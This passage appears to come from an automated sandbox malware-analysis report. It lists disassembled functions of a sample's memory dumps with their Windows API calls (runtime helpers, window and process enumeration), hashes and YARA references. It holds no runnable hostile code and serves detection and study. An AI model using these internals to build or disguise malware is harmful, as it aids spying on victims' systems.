                                                                                            • Opcode Fuzzy Hash: daed02162d7f278869bfaea3c7a8f88d5c2a2d3218cc1490f903801f97ac0c2c
                                                                                            • Instruction Fuzzy Hash: 9631E132A0060AABDF249F65DC41DAF7BA5EB00311F05416AFC04E7252EB3ACD54CBA5
                                                                                            Function 0044E34B Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetEnvironmentStringsW.KERNEL32 ref: 0044E354
                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044E377
                                                                                              • Part of subcall function 00446D0F: RtlAllocateHeap.NTDLL(00000000,00434613,?,?,00437437,?,?,?,?,?,0040CD5A,00434613,?,?,?,?), ref: 00446D41
                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044E39D
                                                                                            • _free.LIBCMT ref: 0044E3B0
                                                                                            • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044E3BF
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                            • String ID:
                                                                                            • API String ID: 336800556-0
                                                                                            • Opcode ID: 1d4758ed0160ac471983c8ffd3a0470c3cf8fd4ea00c3cafbe93e28275fbbba9
                                                                                            • Instruction ID: 5f1b7bba735f2dc00ee4e6ee14e94985e19ed078b50b1d1b699098eccd63c47a
                                                                                            • Opcode Fuzzy Hash: 1d4758ed0160ac471983c8ffd3a0470c3cf8fd4ea00c3cafbe93e28275fbbba9
                                                                                            • Instruction Fuzzy Hash: D50171726017157F73221A776C88C7B6A6DEAC2F65315012EFD05D3241DE698C0291B9
                                                                                            Function 10007153 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetEnvironmentStringsW.KERNEL32 ref: 1000715C
                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1000717F
                                                                                              • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 100071A5
                                                                                            • _free.LIBCMT ref: 100071B8
                                                                                            • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 100071C7
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                                            • String ID:
                                                                                            • API String ID: 336800556-0
                                                                                            • Opcode ID: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                                                                                            • Instruction ID: fdf90bdbf822fabaf3dd9d310e80898d5fc59248e37e3ebe61ec6e18e74c85b1
                                                                                            • Opcode Fuzzy Hash: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                                                                                            • Instruction Fuzzy Hash: 6601D872A01225BB73129BBE5C8CDBF2A6DFBC69E0311012AFD0CC7288DB658C0181B0
                                                                                            Function 00447153 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLastError.KERNEL32(0000000A,0000000B,0000000A,00445569,00440CA8,00000000,?,?,?,?,00440E8B,00000000,0000000A,000000FF,0000000A,00000000), ref: 00447158
                                                                                            • _free.LIBCMT ref: 0044718D
                                                                                            • _free.LIBCMT ref: 004471B4
                                                                                            • SetLastError.KERNEL32(00000000,0000000A,00000000), ref: 004471C1
                                                                                            • SetLastError.KERNEL32(00000000,0000000A,00000000), ref: 004471CA
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$_free
                                                                                            • String ID:
                                                                                            • API String ID: 3170660625-0
                                                                                            • Opcode ID: c73b76ca02ce190c9082a6036dde6ca48763b4b9e088bcde2ec0a65c3a46cc10
                                                                                            • Instruction ID: 9627307c59aa3692a64de8377ee3c20019e30fe80ec8d82769d3f9bfdfbdb6fb
                                                                                            • Opcode Fuzzy Hash: c73b76ca02ce190c9082a6036dde6ca48763b4b9e088bcde2ec0a65c3a46cc10
                                                                                            • Instruction Fuzzy Hash: 3E01F97624CB102BB30267B95C85D2B2A29DBC17B6726012FF509A6392EF2C8C07515D
                                                                                            Function 10005B7A Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLastError.KERNEL32(00000000,?,00000000,1000636D,10005713,00000000,?,10002249,?,?,10001D66,00000000,?,?,00000000), ref: 10005B7F
                                                                                            • _free.LIBCMT ref: 10005BB4
                                                                                            • _free.LIBCMT ref: 10005BDB
                                                                                            • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BE8
                                                                                            • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BF1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$_free
                                                                                            • String ID:
                                                                                            • API String ID: 3170660625-0
                                                                                            • Opcode ID: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                                                                                            • Instruction ID: a404960836b3e2f032ab47abdd1028028b52a365ddf0c47563f665e512f3cffd
                                                                                            • Opcode Fuzzy Hash: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                                                                                            • Instruction Fuzzy Hash: 5501F47A108A52A7F202E7345C85E1F3AAEDBC55F37220025FD19A615EEF73FD024164
                                                                                            Function 0041B588 Relevance: 7.5, APIs: 5, Instructions: 47COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B5A0
                                                                                            • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B5B3
                                                                                            • GetProcessImageFileNameW.PSAPI(00000000,?,00000104,?,00000000,00000000,00000000), ref: 0041B5D3
                                                                                            • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041B5DE
                                                                                            • CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 0041B5E6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Process$CloseHandleOpen$FileImageName
                                                                                            • String ID:
                                                                                            • API String ID: 2951400881-0
                                                                                            • Opcode ID: ef8d0d82becda269430901369212c52b3606b15fcf963f3a122b886808132bbc
                                                                                            • Instruction ID: 5d23c8c1f4703883972a4236376900cac23e2486f01e1b2fafccabe2f4d6955e
                                                                                            • Opcode Fuzzy Hash: ef8d0d82becda269430901369212c52b3606b15fcf963f3a122b886808132bbc
                                                                                            • Instruction Fuzzy Hash: D5F049712003167BD31167558C4AFABB66ECF40B9AF01002BF611E21A2EF74DDC146BD
                                                                                            Function 10001E89 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                                                                                            • lstrcatW.KERNEL32(?,?,?,100010DF,?,?,?,00000000), ref: 10001EAC
                                                                                            • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                                                                                            • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                                                                                            • lstrcatW.KERNEL32(?,100010DF,?,100010DF,?,?,?,00000000), ref: 10001ED3
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: lstrlen$lstrcat
                                                                                            • String ID:
                                                                                            • API String ID: 493641738-0
                                                                                            • Opcode ID: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                                                                                            • Instruction ID: f5d9027fafc921fe84ae6627056796c55de3fa1ad923a59450c5185d8ca5453c
                                                                                            • Opcode Fuzzy Hash: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                                                                                            • Instruction Fuzzy Hash: D8F082261002207AF621772AECC5FBF7B7CEFC6AA0F04001AFA0C83194DB54684292B5
                                                                                            Function 0044F9AD Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _free.LIBCMT ref: 0044F9C5
                                                                                              • Part of subcall function 00446CD5: RtlFreeHeap.NTDLL(00000000,00000000,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A), ref: 00446CEB
                                                                                              • Part of subcall function 00446CD5: GetLastError.KERNEL32(0000000A,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A,0000000A), ref: 00446CFD
                                                                                            • _free.LIBCMT ref: 0044F9D7
                                                                                            • _free.LIBCMT ref: 0044F9E9
                                                                                            • _free.LIBCMT ref: 0044F9FB
                                                                                            • _free.LIBCMT ref: 0044FA0D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$ErrorFreeHeapLast
                                                                                            • String ID:
                                                                                            • API String ID: 776569668-0
                                                                                            • Opcode ID: 8a0a0e5e94a0327d1776c165067cf9b9603f8d21362122b3839296c578ae3d6e
                                                                                            • Instruction ID: 2de1f51a18cc7960585f1cc37bbb46b0208bdbaa703fd0d38dd13c161260ee8b
                                                                                            • Opcode Fuzzy Hash: 8a0a0e5e94a0327d1776c165067cf9b9603f8d21362122b3839296c578ae3d6e
                                                                                            • Instruction Fuzzy Hash: B5F012725042107BA620DF59FAC6D1773E9EA457247A5482BF18DEBA51C738FCC0865C
                                                                                            Function 100091B8 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _free.LIBCMT ref: 100091D0
                                                                                              • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                              • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                            • _free.LIBCMT ref: 100091E2
                                                                                            • _free.LIBCMT ref: 100091F4
                                                                                            • _free.LIBCMT ref: 10009206
                                                                                            • _free.LIBCMT ref: 10009218
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _free$ErrorFreeHeapLast
                                                                                            • String ID:
                                                                                            • API String ID: 776569668-0
                                                                                            • Opcode ID: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                                                                                            • Instruction ID: a08e021c65853776c99c3fd86fadada58ae96d962e635c5153d22f52a77de1c5
                                                                                            • Opcode Fuzzy Hash: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                                                                                            • Instruction Fuzzy Hash: 77F06DB161C650ABE664DB58EAC6C4B7BEDFB003E13608805FC4DD7549CB31FC809A64
                                                                                            Function 004434F7 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _free.LIBCMT ref: 00443515
                                                                                              • Part of subcall function 00446CD5: RtlFreeHeap.NTDLL(00000000,00000000,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A), ref: 00446CEB
                                                                                              • Part of subcall function 00446CD5: GetLastError.KERNEL32(0000000A,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A,0000000A), ref: 00446CFD
                                                                                            • _free.LIBCMT ref: 00443527
                                                                                            • _free.LIBCMT ref: 0044353A
                                                                                            • _free.LIBCMT ref: 0044354B
                                                                                            • _free.LIBCMT ref: 0044355C
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$ErrorFreeHeapLast
                                                                                            • String ID:
                                                                                            • API String ID: 776569668-0
                                                                                            • Opcode ID: 5455ce8706e3ca66a7bad791c73c4693f29d9b457f563819123ce72749b06e66
                                                                                            • Instruction ID: bf08c2b723e6da78e2f9a692d3f9dcffc94df7bb1312aea5ebb3a1bf48e2a6b8
                                                                                            • Opcode Fuzzy Hash: 5455ce8706e3ca66a7bad791c73c4693f29d9b457f563819123ce72749b06e66
                                                                                            • Instruction Fuzzy Hash: 4EF0FEB08011219FD726AF69BE414063BA0F709764346113BF45E66B71E7790982EB8E
                                                                                            Function 10005351 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _free.LIBCMT ref: 1000536F
                                                                                              • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                              • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                            • _free.LIBCMT ref: 10005381
                                                                                            • _free.LIBCMT ref: 10005394
                                                                                            • _free.LIBCMT ref: 100053A5
                                                                                            • _free.LIBCMT ref: 100053B6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _free$ErrorFreeHeapLast
                                                                                            • String ID:
                                                                                            • API String ID: 776569668-0
                                                                                            • Opcode ID: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                                                                                            • Instruction ID: ba906e9feca9bc6e71cd1aa5ebacb8f64a9f241ffe6b13fedf7f16c4e4854dfa
                                                                                            • Opcode Fuzzy Hash: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                                                                                            • Instruction Fuzzy Hash: 38F0F478C18934EBF741DF28ADC140A3BB5F718A91342C15AFC1497279DB36D9429B84
                                                                                            Function 00416937 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 182threadwindowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetWindowThreadProcessId.USER32(?,?), ref: 0041694E
                                                                                            • GetWindowTextW.USER32(?,?,0000012C), ref: 00416980
                                                                                            • IsWindowVisible.USER32(?), ref: 00416987
                                                                                              • Part of subcall function 0041B588: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041B5A0
                                                                                              • Part of subcall function 0041B588: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041B5B3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ProcessWindow$Open$TextThreadVisible
                                                                                            • String ID: 0VG
                                                                                            • API String ID: 3142014140-3748860515
                                                                                            • Opcode ID: f4a4863e30295bf17a6e2edc01d3da70af05de03b02ef23bbcd2352740f6b6c6
                                                                                            • Instruction ID: a92d2c2722018a5f2df8734f3a85bf91d45912e01cb50305def5a483f7f9536a
                                                                                            • Opcode Fuzzy Hash: f4a4863e30295bf17a6e2edc01d3da70af05de03b02ef23bbcd2352740f6b6c6
                                                                                            • Instruction Fuzzy Hash: FE71C3311082415AC335FB61D8A5ADFB3E4EFD4308F50493EB58A530E1EF74AA49CB9A
                                                                                            Function 0044D669 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _strpbrk.LIBCMT ref: 0044D6B8
                                                                                            • _free.LIBCMT ref: 0044D7D5
                                                                                              • Part of subcall function 0043AA64: IsProcessorFeaturePresent.KERNEL32(00000017,0043AA36,00000000,0000000A,0000000A,00000000,0041AF72,00000022,?,?,0043AA43,00000000,00000000,00000000,00000000,00000000), ref: 0043AA66
                                                                                              • Part of subcall function 0043AA64: GetCurrentProcess.KERNEL32(C0000417,0000000A,00000000), ref: 0043AA88
                                                                                              • Part of subcall function 0043AA64: TerminateProcess.KERNEL32(00000000), ref: 0043AA8F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                                                                                            • String ID: *?$.
                                                                                            • API String ID: 2812119850-3972193922
                                                                                            • Opcode ID: a944b580e8880c8e130e00bdfc146e92b9e44dab990486ab21efc68c0a65a633
                                                                                            • Instruction ID: 04f9c45711fae47bd805a28d6c684d852fff3551aaaea8338e0504d4b1d9eb7e
                                                                                            • Opcode Fuzzy Hash: a944b580e8880c8e130e00bdfc146e92b9e44dab990486ab21efc68c0a65a633
                                                                                            • Instruction Fuzzy Hash: C251B175E00209AFEF14DFA9C881AAEBBB5EF58314F25416FE854E7301E6399E01CB54
                                                                                            Function 004428E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe,00000104), ref: 00442924
                                                                                            • _free.LIBCMT ref: 004429EF
                                                                                            • _free.LIBCMT ref: 004429F9
                                                                                            Strings
                                                                                            • C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, xrefs: 0044291B, 00442922, 00442951, 00442989
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$FileModuleName
                                                                                            • String ID: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe
                                                                                            • API String ID: 2506810119-718125117
                                                                                            • Opcode ID: e43589620df6d0a02bbe9fe69612e96b807286bf84d647a6e2c91bfdc5f7fdb4
                                                                                            • Instruction ID: 08a660f2d8e46f51ee0862092f41265a48d7a3eaa7bec75f040af8368b354bfd
                                                                                            • Opcode Fuzzy Hash: e43589620df6d0a02bbe9fe69612e96b807286bf84d647a6e2c91bfdc5f7fdb4
                                                                                            • Instruction Fuzzy Hash: E53193B1A00258AFEB21DF999E8199EBBBCEB85314F50406BF805A7311D6F84A41CB59
                                                                                            Function 10004BDD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe,00000104), ref: 10004C1D
                                                                                            • _free.LIBCMT ref: 10004CE8
                                                                                            • _free.LIBCMT ref: 10004CF2
                                                                                            Strings
                                                                                            • C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, xrefs: 10004C14, 10004C1B, 10004C4A, 10004C82
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _free$FileModuleName
